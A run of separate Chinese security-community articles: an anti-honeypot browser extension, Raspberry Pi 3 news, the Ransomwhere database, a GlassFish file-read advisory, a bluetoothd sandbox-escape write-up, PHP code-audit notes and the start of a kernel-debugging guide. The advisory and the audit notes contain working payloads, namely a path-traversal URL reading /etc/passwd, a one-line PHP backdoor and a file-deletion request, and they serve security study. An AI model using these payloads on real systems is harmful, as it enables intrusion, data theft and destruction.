if (rule[item][r1]["filename"] === '{{honeypotAny}}' && content.indexOf(rule[item][r1]["content"]) != -1){
honeypotUrlCache[url] = item;
return
}else if (url.indexOf(rule[item][r1]["filename"]) != -1){
if (rule[item][r1]["content"] === '{{honeypotAny}}') {
honeypotUrlCache[url] = item;
return
}else if (content.indexOf(rule[item][r1]["content"]) != -1) {
honeypotUrlCache[url] = item;
return
}
}
}
}
}
// 传入 URL 检查是否为蜜罐
function checkHoneypot(url){
let status = false
// 判断是否在历史检测出来中的缓存中存在
if (honeypotUrlCache.hasOwnProperty(url)) {
status = true
}else{
// 不存在就进行请求，然后解析内容用规则去匹配
http.get(url, function (err, result) {
checkForRule(url,result)
});
}
// 再次从缓存中检查
if (honeypotUrlCache.hasOwnProperty(url)) {
status = true
}
return status;
}
// 请求监听器
chrome.webRequest.onBeforeRequest.addListener(details => {
var t = (new Date()).getTime() - 1000;
chrome.browsingData.removeCache({
"since": t
},function(){})
if(details.type == 'script'){
if (checkHoneypot(details.url)) {
alert("蜜罐,快跑,当前蜜罐脚本已屏蔽!");
return {cancel: true};
}
}
}, {urls: ["<all_urls>"]}, ["blocking"]);
## 0x03 思考
通过上述的插件我们实现了基于检测js文件内容的特征,来识别蜜罐以及拦截jsonp获取信息,那么我们考虑以下几个问题.
1. 能否通过计算蜜罐特征文件的hash值进行匹配检测?
2. 能否不基于检测js文件内容的特征,而是从本站向若干个外部网站同时或者短时间内发起请求进行检测?
3. 如果遇到没有js文件,直接在html中使用script标签写入JavaScript内容进行调用jsonp的蜜罐如何检测?
4. 如何针对非获取jsonp信息的蜜罐进行检测.
5. ………………
其实引发的问题和思考有很多,归根到底就是如何反蜜罐,保证渗透过程中的隐蔽以及防止爆菊，本文仅仅是对使用jsonp获取信息的蜜罐进行了识别和检测，但是还是有一定的问题,如有的蜜罐在你访问的时候，蜜罐控制台就已经接收到了报警信息.
攻防无绝对,现在成熟的开源蜜罐以及商业越来越多,如果选择部署在内网,那么可以不仅限web蜜罐,也可以部署一些服务蜜罐,包括mysql、redis、docker等,综合下来一看,其实也可以成为一个防守方小型的被动式内网入侵感知平台.
那么攻击方在当前检测蜜罐方式资料很少的情况下，可能需要花费大量的时间去研究如何检测蜜罐,或者反日蜜罐.而且如果为商业蜜罐的情况下,可能只有以下几种途径来进行研究
1. 实战中踩到了蜜罐,后知后觉被爆后去研究蜜罐的特征
2. 给甲方做服务的期间顺便研究一发
3. 小伙伴们直接的互相PY
4. …………
## 0x04 项目地址
* github开源地址 [AntiHoneypot-Chrome-simple](https://github.com/iiiusky/AntiHoneypot-Chrome-simple) | 社区文章 |
# 树莓派3将内嵌蓝牙和WIFI模块
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://www.i-programmer.info/news/91-hardware/9485-raspberry-pi-3-with-wifi-and-bluetooth.html>
译文仅供参考，具体内容表达以及含义原文为准。
据了解，美国联邦通讯委员会FCC的一组测试文件中包含有新款树莓派的详细参数和配置信息。值得注意的是，树莓派3将会内嵌WiFi和蓝牙模块。
树莓派是为学生计算机编程教育而设计，只有信用卡大小的卡片式电脑，其系统基于Linux。自问世以来，受众多计算机发烧友和创客的追捧，曾经一“派”难求。别看其外表“娇小”，内“心”却很强大，视频、音频等功能通通皆有，可谓是“麻雀虽小，五脏俱全”。它是一款基于ARM的微型电脑主板，以SD/MicroSD卡为内存硬盘，卡片主板周围有1/2/4个USB接口和一个10/100
以太网接口（A型没有网口），可连接键盘、鼠标和网线，同时拥有视频模拟信号的电视输出接口和HDMI高清视频输出接口，以上部件全部整合在一张仅比信用卡稍大的主板上，具备所有PC的基本功能只需接通电视机和键盘，就能执行如电子表格、文字处理、玩游戏、播放高清视频等诸多功能。
目前，当你在使用树莓派的时候，唯一一个可能会让你去抱怨的事情就是这款卡片式电脑并没有给用户提供WiFi模块或者蓝牙适配器，如果你需要使用这些功能，那么用户将需要花费大约5美金去购买这些配件，并且还需要用户自行进行手动添加，但是这也往往会引起设备发生一些奇怪的问题。通常情况下，不同种类适配器得配置方法和运行机制是不一样的，而当用户手动将这些适配器集成到一起时，就会很容易发生故障，这一因素也成为了很多树莓派初学者的一大拦路虎。所以，在树莓派中内嵌WiFi模块，将会大幅度提升用户的体验度，而且对于新手而言，也会使得树莓派更加地容易上手。
根据目前最新的消息，英国零售商CPC（一家销售树莓派的厂商）将这一新款树莓派的价格定为了26.38英镑，大约为37美金。
新款的树莓派3（B型）利用板载天线内嵌了WiFi模块（2.4GHz）和蓝牙／蓝牙LE适配器。下图为我们从美国联邦通讯委员会FCC的文件中找到的树莓派3的照片，但是目前我们还没有获取到更多详细的信息。
在与树莓派2的主板进行对比之后，我们可以发现主板的电路分布和电子器件基本上是相同的。值得注意的是，生产商在主板的右上角处添加了一些新的部件，但是我们并没有发现天线接收器的踪影。
虽然零售商CPC和MagPi均声称新款的树莓派3将配备64位架构的ARM处理器（1.2GHz），但是根据文件中的信息，其CPU仍为BCM2837，这与树莓派2代B型的配置是一样的。
大家可以从上面的图片中看到，在GPIO连接器的下方，刻有主板名称－“Raspberry Pi 3 Model B”，即树莓派3-B型。
连接器的配置基本上没有任何变化，这也就意味着树莓派3仍然将配备有四个USB接口和一个网卡接口。
内嵌了WiFi模块和蓝牙适配器的树莓派将会帮助树莓派系列产品更好地与Arduinos竞争市场占有率。Arduino是一款便捷灵活、方便上手的开源电子原型平台。Arduino能通过各种各样的传感器来感知环境，通过控制灯光、马达和其他的装置来反馈、影响环境。板子上的微控制器可以通过Arduino的编程语言来编写程序，编译成二进制文件，烧录进微控制器。
当然了，如果树莓派3的售价仅比树莓派2的售价高几美金的话，树莓派3当然会成为用户的首选了。
当然了，这款重新设计的树莓派也有很多明显的变化。树莓派系列产品正在不断地成长和进步，我们也希望树莓派不要变得越来越臃肿，以至于我们无法更好地进行操作。
除此之外，用户一直较为关注的另一款树莓派系列产品还有树莓派Zero。树莓派Zero使用了单核处理器BCM2835和512MB
RAM。其中的四个USB端口和以太网端口已被替换掉，树莓派Zero只保留了一个Micro
USB数据接口。值得一提的是，在之前树莓派产品中所配备的全尺寸HDMI端口也已经被替换成了一个迷你HDMI端口，所以这将需要用户使用适配器来将树莓派Zero与显示设备进行连接了。
据悉，目前树莓派Zero仍然处于缺货状态，那么树莓派Zero到底去哪里了？这一问题也一直困扰着广大的用户。RS和Farnell等厂商表示，由于这款设备的售价过低（5美元），所以销售这款设备并不能够给公司带来利润，所以各大厂商并没有囤货的打算。如果你打算购买树莓派Zero的话，那么你可能需要花费等多的钱来从其他的经销商处购买，这样就显得有些得不偿失了。
树莓派基金会将会在下周正式公布有关树莓派3的配置信息和售价等内容，感兴趣的用户可以持续关注我们的后续报道。
当然了，我们也希望在有关树莓派3的消息正式公布之前，还有更多的谍照和信息能够透露给用户。 | 社区文章 |
# Ransomwhere项目计划创建一个勒索软件付款信息数据库
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Ransomwhere项目上线
就在这个星期，一个新的网站项目正式上线了。这个网站旨在通过众筹的方式创建一个免费且对公共开放的数据库，而这个数据库中将包含过去所有发生过的勒索软件支付/付款行为的相关信息，以期扩大研究人员和社区对勒索软件生态系统的认知及发展趋势。
这个数据库项目名为Ransomwhere，它也是Jack Cable的一个个人项目，而Jack Cable不仅是斯坦福大学的一名学生，还是Krebs
Stamos集团的安全研究人员。
该网站将允许受勒索软件攻击影响的目标用户或网络安全专业人士上传勒索信息的副本，其中还会包含勒索软件攻击所要求支付的数据赎金金额以及目标用户付款的比特币钱包地址，上传后便会在公共数据库中建立相关的数据索引，以便研究人员分析和审查。
需要注意的是，这个数据库中并不会包含任何个人或目标用户的身份信息，并且可以通过Ransomwhere网站给网络安全社区和执法人员进行免费下载。
## 解决网络安全研究的一个已知盲点
这个网站背后的想法是建立一个中央系统，用于跟踪目标用户支付给勒索软件攻击团伙的款项，以便帮助广大安全研究人员更准确地估计目标勒索软件业务的规模和利润，而这部分内容是目前网络安全社区的一个盲点，我们对这部分信息可以算得上是“知之甚少”了。
上周四Cable在接受The Record的一次采访时表示：“Katie
Nickels在其发表的推文中曾说到，没有人真正了解网络犯罪的全部影响，尤其是勒索软件，这让我深受鼓舞。当我发现目前并没有一个节点能够查询勒索软件支付的公共数据之后，并且考虑到追踪比特币交易其实并不难，于是我就开始计划启动Ransomwhere项目了。”
Cable还表示：“不过，说真的，我认为这是一个很大的问题，尤其是针对勒索软件生态系统。除了勒索软件犯罪团伙之外，我们其实很难知道一次勒索软件攻击的真正影响和规模，所以我们也很难知道安全专家所采取的应对措施是否能够真正改变勒索软件攻击的影响。”
虽然这个项目上线时间并不长，但是已经吸引到了信息安全社区内广大研究人员的注意。因为大多数安全公司都不会愿意和安全社区中的个人或团队合作，他们不会选择公开自己手上的信息，甚至有时还会私下分享这些信息，所以跟踪勒索软件付款情况对于整个信息安全社区来说是一直存在困难的。
匿名共享勒索软件支付数据，比如说第三方服务（如Ransomwhere）之类的，可以消除网络安全社区中的一些障碍，如保密协议和商业竞争等等。
但就目前而言，Cable仅仅只能依赖于公众提交的资料来扩展网站的数据库。然而，很多安全研究人员在接受The
Record的采访时表示，他们也在不断探索与信息安全或区块链分析领域的公司合作的方式，并且整合他们可能已经拥有的勒索软件攻击者的相关数据，然后通过目前尚未公开或目标用户直接披露的数据来扩展Ransomwhere项目。
ChainAnalysis等比特币分析公司和一些安全供应商过去一直致力于收集恶意软件样本和勒索软件信息中发现的比特币钱包地址，然后检测是否有人向这些钱包地址付款。一些公司就是这样估算几个勒索软件攻击团伙的收益的，比如：
> 1、Maze/Egregor: 7500万美元
> 2、Ryuk: 1.5亿美元
> 3、REvil: 1.23亿美元
> 4、Netwalker: 2500万美元
然而，这种深入的研究只是针对规模较大的勒索软件进行的，在分析其他勒索软件攻击活动的规模时这里仍然会存在盲点，从这个角度来看，通过分析Ransomwhere所收集到的数据，可能会有所帮助。
运行一个像Ransomwhere这样的网站，当然也会有它的不足之处。比如说，其中一个缺陷就是它的数据库很容易被错误的或伪造的提交文件所污染。
但对于这种说法，Cable也表示他计划会对所有提交的勒索软件相关信息进行审查。Cable表示：“目前，只是我自己审核所有提交的报告。但之后我可能会为个人用户添加一个投票系统，以实现对那些虚假的或伪造的报告进行标记或报告。”
除此之外，Cable还敦促恶意软件研究人员直接与他联系，并将数据作为可信来源添加到数据库中。
Cable提到：“我一直活跃在各种Slack群中，广大勒索软件研究人员可以通过推特或电子邮件联系到我。只要研究人员能够共享比特币地址和勒索软件信息，我就可以将它们添加到Ransomwhere的数据库中。”
## 与ID-Ransomwhere项目合作
眼下，Ransomwhere项目的启动与Michael Gillespie在2016年初推出的ID-Ransomwhere项目有着惊人地相似。当时的ID-Ransomwhere只是一个简单的网站，勒索软件的受害者可以上传勒索信息，而ID-Ransomwhere网站则会告诉他们加密数据的勒索软件产品的名字，以及用户可以在哪里找到恢复文件的帮助指引。
ID-Ransomwhere给勒索软件受害者和网络安全社区提供了一个前所未有的功能，而该网站也已经成为了许多事件响应专家的首选工具。
因为这个网站在网络安全界非常受欢迎，所以对于Cable和整个网络安全行业来说，两者之间的合作将是非常令人期待的。
Cable表示：“我一直都在跟Michael沟通交流，我非常喜欢他的作品。目前我们也在讨论两个项目的整合方式，我们希望既可以从IDR收集比特币地址，也可以根据Ransomwhere的数据向IDR用户提供更多信息。”
但研究人员告诉我们，这并不是Ransomwhere项目成长和扩展的唯一方式。
探索追踪下游比特币地址也可能很有趣，比如说，一旦勒索软件犯罪分子收到付款之后，他们会去哪里？会做些什么？随着项目的进行，不排除会自己去深入探索，或者与专门从事这方面工作的公司合作。
## Ransomwhere的成果
据了解，在撰写本报告时，该网站正在追踪2021年总共超过3200万美元的赎金支付。这些付款中的大部分已经支付给了REvil，这个与俄罗斯有关的勒索软件团伙在JBS和Kaseya黑客事件中功不可没。根据Ransomwhere的数据，该团伙今年已经支付了超过1100万美元的赎金，如果最近作为Kaseya攻击的一部分提出的7000万美元的要求得到满足，这一数额可能会急剧增加。
Netwalker是暗网中最受欢迎的“勒索软件即服务”产品之一，在2021年以超过630万美元的支付额位居第二，不过Ransomwhere的统计显示，该组织的赎金支付总额最高，根据该网站的数据，大约有2800万美元。
RangarLocker、DarkSide和Egregor分列Ransomwhere的前五名，它们的非法收益分别为460万美元、440万美元和320万美元。
Cable还补充说到，在未来，他还会继续探索与安全分析和区块链分析领域的公司合作的方式，以整合他们已经拥有的勒索软件活动数据。除此之外，他还在研究如何支持其他可追踪的加密货币，如以太坊或门罗币，以及追踪下游比特币地址的可能性。虽然可能无法剖析出相关勒索活动的全貌（使用门罗币的犯罪分子将几乎不可能被追踪），但他也希望能够尽可能完整地了解网络犯罪分子的情况。 | 社区文章 |
# 漏洞预警：应用服务器glassfish任意文件读取漏洞
|
##### 译文声明
本文是翻译文章，文章来源：无声说安全
原文地址：[http://mp.weixin.qq.com/s?__biz=MzAwNTYwMjM3Mw==&mid=401676448&idx=1&sn=27231eed275dccdeb8c44e1cc6ac1f9a&scene=1&srcid=0114QPY75arMj4necv5moRY0#wechat_redirect](http://mp.weixin.qq.com/s?__biz=MzAwNTYwMjM3Mw==&mid=401676448&idx=1&sn=27231eed275dccdeb8c44e1cc6ac1f9a&scene=1&srcid=0114QPY75arMj4necv5moRY0#wechat_redirect)
译文仅供参考，具体内容表达以及含义原文为准。
** >>>>事情就这样默默发生了**
在2015年的10月3日,一位路人甲同学在乌云上发布了一个名为“应用服务器glassfish存在通用任意文件读取漏洞”的漏洞,大致内容如下:
漏洞作者:路人甲
相关厂商:glassfish
漏洞编号:wooyun-2010-0144595
漏洞详情:
http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
java语音中会把"%c0%ae"解析为"uC0AE",最后转义为ASCCII字符的"."(点)。
简简单单几句话详述了漏洞内容,而且这是一枚真真正正的0day漏洞,并且更有趣的是这个漏洞的提交者同样是一个真真正正的路人甲。
** >>>>威胁现状**
该漏洞在乌云上并没有得到太多的关注与留言,漏洞详情在2016年1月11日向公众公开,但是似乎并没有太多同学了解该漏洞的影响力,可以说这枚0day漏洞的破坏力确实是被严重低估了。
该漏洞标题写的是任意文件读取漏洞,其实该漏洞同样可以列出对应目录文件,基本上等同于源代码泄露,各种敏感信息暴露无遗。
可利用方式如,列目录:
使用%c0%ae%c0%ae/这一个java中的特殊方式可直接跳转目录,获得目录文件列表。
读取web应用配置文件,如(web.xml,数据库配置文件,web系统日志)等敏感文件:
针对特定的文件可进一步读取其内容。
对该漏洞的影响我们通过使用自主研发的网络空间搜索引擎“嘲风搜索”,针对国内IP地址段进行了大致统计搜索并进行glassfish指纹比对得到了3181个确定目标,通过漏洞验证发现其中400个目标存在该漏洞,可见其影响广泛。
地理位置分布:
848端口为glassfish默认开放的web管理端口,默认配置以及端口对外开放依然是运维人员需要努力去注意的事情了。
值得一提的是在存在漏洞的一大半服务都存在于某著名云服务商的服务器集群中,看来自动防护并没有宣传的那般做的好。
端口数据比对:
**> >>>解决方案**
根据目前获取到的存在漏洞的IP可知该漏洞影响了4.0至4.1这两个大版本。
官方在10月推出最新的4.1.1版本来修复该问题,运维人员应及时跟进修复避免影响扩大。 | 社区文章 |
# CVE-2018-4087 PoC: 利用bluetoothd绕过沙盒
##### 译文声明
本文是翻译文章，文章原作者 Rani Idan
原文地址：<http://blog.zimperium.com/cve-2018-4087-poc-escaping-sandbox-misleading-bluetoothd/>
译文仅供参考，具体内容表达以及含义原文为准。
在我之前发布的题为“New Crucial Vulnerabilities in Apple’s bluetoothd
daemon”的博客文章之后，我发布了PoC漏洞。
PoC的目的是为了方便IT管理员和渗透测试人员等人的评估而发布的，不能用于其它非法地方。
此外，此PoC和任何其他相关材料仅在负责向Apple披露并且Apple已解决问题后才会发布。
作为我在Zimperium的zLabs平台研究团队工作的一部分，我从默认应用程序沙箱内分析了iOS mach message
IPC，最终目的是通过升级以逃离沙箱。
要启动项目，我需要映射mach端口来从沙箱内访问。 我从他的* OS Internals Volume III书中使用了Jonathan
Levin（[@Morpheus__](https://github.com/Morpheus__ "@Morpheus__")）的sbtool。
我打算为你们的研究揭示该漏洞的完整PoC，就有了这篇博文。
Apple在最新的操作系统版本中解决了这两个漏洞：iOS – 11.2.5，watchOS – 4.2.2，tvOS – 11.2.5。
Apple为每个漏洞分配了2个CVE：
1. CVE-2018-4087: Rani Idan (@raniXCH) of Zimperium zLabs Team
2. CVE-2018-4095: Rani Idan (@raniXCH) of Zimperium zLabs Team
Apple Releases:
* <https://support.apple.com/en-il/HT208462> – tvOS 11.2.5
* <https://support.apple.com/en-il/HT208463> – iOS 11.2.5
* <https://support.apple.com/en-il/HT208464> – watchOS 4.2.2
POC源代码： <https://github.com/rani-i/bluetoothdPoC>
## bluetoothd
不同的沙盒进程可以与不同的守护进程进行通信，如mediaserverd，bluetoothd和其他使用IPC的守护进程来使用守护进程功能。
在我们的例子中，我们将重点关注与bluetoothd的消息通信。
bluetoothd启动“com.apple.server.bluetooth”端口并在该端口上接受队列中mach消息。
Mach消息是* OS中的一种IPC形式; 为更高的IPC框架腾出空间，其使用并没有得到苹果公司的改进或记录，。
现在，函数apple_bluetoothd_mig_server将接收发送给com.apple.server.bluetooth的每个mach消息，并通过mach消息ID处理它。
在我们的情况中，为了简化这个过程，一个沙盒过程要求启动一个服务端口，并使用bootstrap_check_in注册它的端口。
之后，该进程可以使用从launchd检索到的mach端口与服务进行通信。
我们来看看apple_bluetoothd_mig_server：
你可以看到处理mach消息的函数从发送给bluetoothd的消息的msgh_id中减去0xFA300的值，然后获得匹配的回调，最终用输入消息调用它。
此外，你可以看到函数检查消息ID是否低于或等于0x83 – 这意味着我们有0x84可用的回调位置。
由于这个二进制文件没有符号，我开发了一个小工具来解析这个结构体，使我从不同库图像获得的更多信息。 这样就可以创建可用回调的完整列表。
*“machUnderfined_handler”功能未定义，因为这里使用的图像是iPod touch，并且某些功能不存在。
在我们的例子中，我们将关注mach__BTLocalDeviceAddCallbacks; 这个回调函数是消息标识符为3的消息处理程序。
mach__BTLocalDeviceAddCallbacks_3函数正在检查mach消息是否为0x48的大小，并且它不是一个复杂的mach消息。
之后，它会尝试使用session_token将回调地址添加到匹配的会话。
当一个合法的客户端使用bluetoothd创建会话时，它将创建一个会话令牌给bluetoothd，并使用该令牌客户端由bluetoothd标识。
注意这个重要的地方 –
这个会话令牌是什么？不辛的是，Apple使用session_token作为客户端和bluetoothd之间的端口名称。它与通信所使用的端口（字面上是端口名称）完全相同。
这是一个巨大的问题，因为mach端口具有特定的结构，这使得它非常容易暴力破解。 session_token属于mach_port_t类型。
在我的PoC中，我收到了从launchd到bluetoothd的端口，以便与bluetoothd直接通信。通过使用该端口，我强制执行了session_token（mach
port struct），并最终通过劫持bluetoothd及其客户端之间的会话向bluetoothd客户端注册新的回调。
攻击过程：
1.bluetoothd的客户端连接到它并获得客户端需要用于mach通信的会话令牌，以便将其自身识别为bluetoothd。
2.恶意应用程序（沙盒应用程序）可以强制使用会话令牌，因为会话令牌由通信机器端口组成，并且由mach_port_t结构构成。
3.在成功强制执行令牌之后，恶意应用程序可以在将消息发送到客户端时调用的客户端进程上注册新的返回地址。
还有很重要一点，它意味着从沙盒环境运行的恶意应用程序需要在具有不同沙盒环境的bluetoothd客户端上添加回调地址。
我所劫持的所有bluetoothd客户端列表（bluetoothd也要注册为客户端）：
* SpringBoard
* mDNSResponder
* aggregated
* wifid
* Preferences
* CommCenter
* iaptransportd
* findmydeviced
* routined
* UserEventAgent
* carkitd
* mediaserverd
* bluetoothd
* coreduetd
## 接下来怎么利用它？
这个漏洞可以用来泄漏每个客户端的机器端口，并且在每个客户端上，它会都会有很多的攻击方式。
泄漏客户机的端口可以通过合适的跳转小工具并将端口发送回沙盒应用来完成。
## Apple的修复
我向苹果公司报告了这个问题，事实上，他们解决了这个问题，但我认为解决方案可以设计得更好。
该修复程序仍不能确保会话不会被劫持。 Apple将会话令牌从实际的端口改为随机令牌。
## 披露时间
10/11/2017 – 发现第一个bug
14/11/2017 – 上报bug给Apple
05/12/2017 – Apple确认bug
25/01/2018 – Apple发布补丁
## 感谢
我很感谢苹果的专业回复，Nikias Bassen（[@pimskeks](https://github.com/pimskeks
"@pimskeks")）和其他Zimperium团队 | 社区文章 |
谢邀，很久以前的文章了，看官们别介意
## 0x00 简介
之前看了seay写的PHP代码审计的书，全部浏览了一遍，作为一个代码审计小白，希望向一些和我一样的小白的人提供一下我的收获，以及一个整体的框架和常见漏洞函数。这也算是这本书的一个学习笔记吧，可以结合我捋顺的思路来看这本书。:
)
## 0x01 整体
学习代码审计的目标是能够独立完成对一个CMS的代码安全监测。其通用的思路有：
* 通读全文代码，从功能函数代码开始阅读，例如`include`文件夹下的`common_fun.php`，或者有类似关键字的文件。
* 看配置文件，带有`config`关键字的文件，找到mysql.class.php文件的connect()函数，查看在数据库连接时是否出现漏洞。
* 继续跟读首页文件,`index.php`,了解程序运作时调用了哪些函数和文件 以index.php文件作为标线，一层一层去扩展阅读所包含的文件，了解其功能，之后进入其功能文件夹的首页文件，进行扩展阅读。
## 0x02 各种洞洞
### a.文件操作漏洞
* 能不用文件名参数就不用 尽量不要让用户可控
* 平行用户的权限 管理员的权限 操作权限
* 禁止传入参数类似于这种 `..` ,`/`,`\` 检查传入的参数,做出限制,停止程序往下执行
#### 1.文件包含漏洞：
(1) 本地文件包含：
* 一般存在于模块加载，模板加载，cache调用
* 包括函数：`include()/include_once()`，`require()/require_once()`寻找可控变量
(2) 远程文件包含：
* 前提条件：`allow_url_include = on`
* 出现频率不如本地包含
(3) 文件包含截断：
* 截断(php版本小于5.3)
* 问号截断(问号后面相当于请求的参数，伪截断)
* 英文(.) 反斜杠(/) 截断
#### 2.文件读取(下载)漏洞：
搜索关键函数:
`file_get_contents()`,`highlight_file()`,`fopen()`,`read
file()`,`fread()`,`fgetss()`,
`fgets()`,`parse_ini_file()`,`show_source()`,`file()`等
#### 3.文件上传漏洞：
搜索关键函数:
`move_uploaded_file()` 接着看调用这个函数的代码是否存在为限制上传格式或者可以绕过。
(1) 未过滤或本地过滤：服务器端未过滤，直接上传PHP格式的文件即可利用。
(2) 黑名单扩展名过滤：
* 限制不够全面：IIS默认支持解析`.asp`,`.cdx`, `.asa`,`.cer`等。
* 扩展名可绕过：
不被允许的文件格式`.php`，但是我们可以上传文件名为`1.php`(注意后面有一个空格)
(3) 文件头 `content-type`验证绕过：
* `getimagesize()`函数：验证文件头只要为GIF89a，就会返回真。
* 限制`$_FILES["file"]["type"]`的值 就是人为限制content-type为可控变量。
(4) 防范：
* 使用`in_array()`或 利用三等于`===`对比扩展名。
* 保存上传文件是重命名，规则采用时间戳拼接随机数：`md5(time() + rand(1,1000))`。
#### 4.文件删除漏洞：
搜索关键函数：
* `unlink()`利用回溯变量的方式* 老版本下的`session_destroy()`，可以删除文件，现已基本被修复。
**Metinfo的任意文件删除漏洞：**
`$action = delete`即可删除`.sql`的文件，如果文件不是`sql`直接删除提交的文件名
`target.com/recovery.php?&action=delete&filename=../../index.php`
### b.代码执行漏洞
#### 1.代码执行函数：
搜索关键函数：`eval()`, `assert()`, `preg_replace()`, `call_user_func()`,
`call_user_func_array()`, `array_map()`
(1) `preg_replace()`函数：
`mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [,
int $limit = -1 [, int &$count ]] )`
**当$pattern处存在e修饰符时，$replacement 会被当做php代码执行。**
(2)`mixed call_user_func( callable $callbank [ , mixed $parameter [ , mixed
$…)`：
**第一个参数为回调函数，第二个参数是回调函数的参数**
(3)`eval()`和`assert()`：
**当assert()的参数为字符串时 可执行PHP代码**
【区分】：
eval(" phpinfo(); ");【√】 eval(" phpinfo() ");【X】
assert(" phpinfo(); ");【√】 assert(" phpinfo() ");【√】
#### 2.动态函数执行：
动态函数后门：
<?php $_GET['a']($_GET['b']); ?>
#### 3.命令执行函数：
搜索关键函数：`system()`, `exec()`, `shell_exec()`, `passthru()` ,`pcntl_exec()`,
`popen()`,`proc_open()`
(1) `popen`和`proc_open()`：
<?php
popen( 'whoami >> /Users/bingdaojueai/Desktop/1.txt', 'r' );
?>
所在路径就会出现一个1.txt 里面的内容为命令执行后的结果
(2) 反引号命令执行：
* echo `whoami;` 直接就可以执行命令
* 双引号和单引号的区别：
$a = 1
echo " $a " output：1
echo ' $a ' output：$a
**双引号时，可以直接解析变量，造成代码执行漏洞，过狗绕过。**
### c.变量覆盖漏洞
#### 1.函数使用不当：
* `int extract( array &$var_array , int $extract_type = EXTR_OVERWRITE , string $prefix = null )`
* `void parse_str( string $str , array &$arr )`
* `bool import_request_variables( string $type , string $prefix )`
#### 2.$$变量覆盖：
### d.逻辑漏洞
需要思考的问题：
* 程序是否可以重复安装
* 修改密码是否存在越权修改其他用户密码
* 找回密码验证码是否可以暴力破解
* cookie是否可以预测 验证存在绕过
#### 1.等于与存在判断绕过：
(1) `in_array()`: 比较之前会自动转换类型
(2)`is_numeric()`:当传入参数为hex时 直接通过并返回true 并且MYSQL可以直接使用hex编码代替字符串明文 可以二次注入
并且可能造成XSS漏洞
(3)双等于`==`和三等于`===`：
* 双等于会在变量比较时，进行类转换，与`in_array()`是一样的问题。
* 三等于是 **type** 和 **value** 的双重比较，相比之下更加安全。
#### 2.账户体系中的越权问题：
* 水平越权：A用户能够以B用户的身份，进行B用户的全部权限操作。前提A用户和B用户拥有相同的权限。
* 垂直越权：A用户能够以C用户的身份，进行C用户的全部权限操作，前提C用户比A用户拥有更高的权限。
(1) 未`exit`/`return`/`die`：
<?php
if(file_exists('install.lock)) {
header("Location:xxx.com");
//exit();
}
echo "test";
?>
test 依旧会被输出，替换成安装流程，PHP依旧会进行。
(2) 支付漏洞：
* 客户端修改单价
* 客户端修改总价和购买数量
* 服务端未校验严格
* 重复发包利用时间：`<?phpif (check_money($price)) { //Do something //花费几秒 $money = $money - $price;}?>`
**可能导致漏洞函数：** `str_replace()`
<?php
$a = addslashes($_GET['a']);
$b = addslashes($_GET['b']);
echo "$a<br/>$b<br/>";
$c = str_replace($a,'',$b);
echo trim($c);
?>
### e.会话认证漏洞
* COOKIE验证：没有使用SESSION验证，将信息直接保存在COOKIE中
1\. 找到传入sql语句的参数的传递过程 回溯变量到最原始的函数 看它保存在cookie的算法 是否可逆
2\. 和MD5比起 sha1更安全 解密sha1的网站更少
3\. 限制一个用户只能同时在一个IP上登录
* 审计代码时，查看登录处代码
### f.二次漏洞
#### 1.类型：
* 不是逻辑问题，是可信问题。
* 业务逻辑复杂度，与二次漏洞触发率 成正比。
* 购物车 / 订单 / 引用数据 / 文章编辑 / 草稿 `==>` SQL注入 / XSS
#### 2.技巧：
(1) 钻GPC等转义的空子：
* 不受GPC保护的`$_SERVER`变量： **PHP5以后，$_SERVER取到的header不再受GPC影响，就算开启特殊字符也不会被转义，存在注入**
* 编码问题转换：
* GBK的宽字节注入： **%df ' 单引号自动被转义成(%5c)，同时%df与%5c连在一起组合成運字单引号依然在，成功闭合。【php与mysql交互过程中发生的编码转换问题】**
* `mb_convert_encoding()`：
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<?php
$sql = "WHERE id='".urldecode("-1%df%5c' == ")."'"; print_r(mb_convert_encoding($sql,"UTF-8","GBK"));
?>
(2)字符串问题：
* 利用报错，找到敏感信息
* 字符串截断：
* 空字符截断：【PHP版本小于5.3】
<?php
include($_GET['file'].'.php');
//1.php?file=2.txt
//2.txt里面是 <?php phpinfo()?>
?>
1. iconv函数字符编码转换截断：【对PHP版本有要求】
chr(128)—chr(255)可以截断字符
<?php
$a = '1'.chr(130).'2’;
echo $a."<br>"; //1�2
echo iconv("UTF-8", "GBK", $a); //1
?>
* php:// 输入输出流：
<?php
include($_GET[‘file']);
?>
1.php?file=php://filter/convert.base64-encode(内容被base64编码)/resource=example.txt(远程文件)
* php代码解析标签：
1\. `<script language="php">…</script>`
2\. `<?…?>`： **php3.0.4版本后可用**
3\. `<%…%>`： **asp标签，需要asp_tags=on，默认是off**
* 正则表达式：
1\. 没有使用^ 和 $ 限定匹配开始位置：
2\. 特殊字符未转义：
* 报错注入：
* `windows findfirstfile` 利用： **若要搜索12345.txt文件，可使用1 <<来代替或者12<<，不可以单独使用一个"<"或">"，因为单独一个只是代表了一个字符，两个代表多个字符。**
## 0x03 End
自己走上安全这条路既是兴趣也是偶然，选择白盒完全是因为喜欢php，毕竟是初识代码审计，seay的书确实帮了我不少，抱作者大腿 **（我是萌妹纸）**
，希望这篇文章能够帮助像我一样小白的人，花了两天总结的，如果有什么缺陷也等着大家指出。
> 不会开发的谈审计都是耍流氓！：) | 社区文章 |
**作者：0x7F@知道创宇404实验室
日期：2023年2月27日**
### 0x00 前言
windows内核调试常用于 windows 驱动开发调试、内核分析等，使用 WinDBG
可以很方便的进行本地内核调试，但本地内核调试存在较多的限制(如不能使用导致主机暂停运行的指令)，通常我们都会通过虚拟机软件搭建 windows
双机调试环境，其中一台作为调试机(`debuger`)，另一台作为被调试机(`debugee`)，双机调试几乎可以满足大部分的 windows
内核分析、调试等工作。
通过 `Vmware` 虚拟机软件搭建 windows 双机调试环境是最常见的方案，搭建步骤和坑点基本都由前辈梳理成章了，但我日常工作都由
`ProxmoxVE` 虚拟机支撑起来，遂想使用 ProxmoxVE 配置 windows 的内核调试环境，在此过程中遇到了不少难点。
本文对 ProxmoxVE 下的 windows
内核调试环境配置进行了详细介绍和实验演示，对其中的难点进行了简易分析，希望本文能对有相同需求的小伙伴提供一些帮助。
### 0x01 基本环境
本文环境如下：
